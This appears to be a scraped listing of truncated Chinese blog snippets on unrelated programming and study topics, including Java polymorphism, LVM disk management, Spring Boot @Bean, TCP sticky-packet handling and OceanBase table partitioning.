36. 单选题 在娱乐方式多元化的今天&#xff0c;“ ”是不少人&#xff08;特别是中青年群体&#xff09;对待戏曲的态度。这里面固然存在 的偏见、难以静下心来欣赏戏曲之美等因素&#xff0c;却也有另一个无法回避的原因&#xff1a;一些戏曲虽然与观众…

关于Java多态简单讲解

面向对象程序设计有三大特征&#xff0c;分别是封装&#xff0c;继承和多态。 这三大特性相辅相成&#xff0c;可以使程序员更容易用编程语言描述现实对象。 其中多态 多态是方法的多态&#xff0c;是通过子类通过对父类的重写&#xff0c;实现不同子类对同一方法有不同的实现…

【Trea】Trea国际版|海外版下载

Trea目前有两个版本&#xff0c;海外版和国内版。‌ Trae 版本差异 ‌大模型选择‌&#xff1a; ‌国内版‌&#xff1a;提供了字节自己的Doubao-1.5-pro以及DeepSeek的V3版本和R1版本。海外版&#xff1a;提供了ChartGPT以及Claude-3.5-Sonnet和3.7-Sonnt. ‌功能和界面‌&a…

Missashe考研日记-day33

Missashe考研日记-day33 1 专业课408 学习时间&#xff1a;2h30min学习内容&#xff1a; 今天开始学习OS最后一章I/O管理的内容&#xff0c;听了第一小节的内容&#xff0c;然后把课后习题也做了。知识点回顾&#xff1a; 1.I/O设备分类&#xff1a;按信息交换单位、按设备传…

链表的面试题3找出中间节点

来来来&#xff0c;接着继续我们的第三道题 。 解法 暴力求解 快慢指针 https://leetcode.cn/problems/middle-of-the-linked-list/submissions/ 这道题的话&#xff0c;思路是非常明确的&#xff0c;就是让你找出我们这个所谓的中间节点并且输出。 那这道题我们就需要注意…

linux磁盘介绍与LVM管理

一、磁盘基本概述 GPT是全局唯一标识分区表的缩写,是全局唯一标示磁盘分区表格式。而MBR则是另一种磁盘分区形式,它是主引导记录的缩写。相比之下,MBR比GPT出现得要更早一些。 MBR 与 GPT MBR 支持的磁盘最大容量为 2 TB,GPT 最大支持的磁盘容量为 18 EB,当前数据盘支持…

突破测试环境文件上传带宽瓶颈!React Native 阿里云 OSS 直传文件格式问题攻克二

上一篇我们对服务端和阿里云oss的配置及前端调用做了简单的介绍&#xff0c;但是一直报错。最终判断是文件格式问题&#xff0c;通常我们在reactnative中用formData上传&#xff0c; formData.append(file, {uri: file, name: nameType(type), type: multipart/form-data});这…

Spring Boot 中 @Bean 注解详解:从入门到实践

在 Spring Boot 开发中&#xff0c;Bean注解是一个非常重要且常用的注解&#xff0c;它能够帮助开发者轻松地将 Java 对象纳入 Spring 容器的管理之下&#xff0c;实现对象的依赖注入和生命周期管理。对于新手来说&#xff0c;理解并掌握Bean注解&#xff0c;是深入学习 Spring…

TCP 协议设计入门:自定义消息格式与粘包解决方案

目录 一、为什么需要自定义 TCP 协议&#xff1f; TCP粘包问题的本质 1.1 粘包与拆包的定义 1.2 粘包的根本原因 1.3 粘包的典型场景 二、自定义消息格式设计 2.1 协议结构设计 方案1&#xff1a;固定长度协议 方案2&#xff1a;分隔符标记法 方案3&#xff1a;长度前…

了解一下OceanBase中的表分区

OceanBase 是一个高性能的分布式关系型数据库&#xff0c;它支持 SQL 标准的大部分功能&#xff0c;包括分区表。分区表可以帮助管理大量数据&#xff0c;提高查询效率&#xff0c;通过将数据分散到不同的物理段中&#xff0c;可以减少查询时的数据扫描量。 在 OceanBase 中操…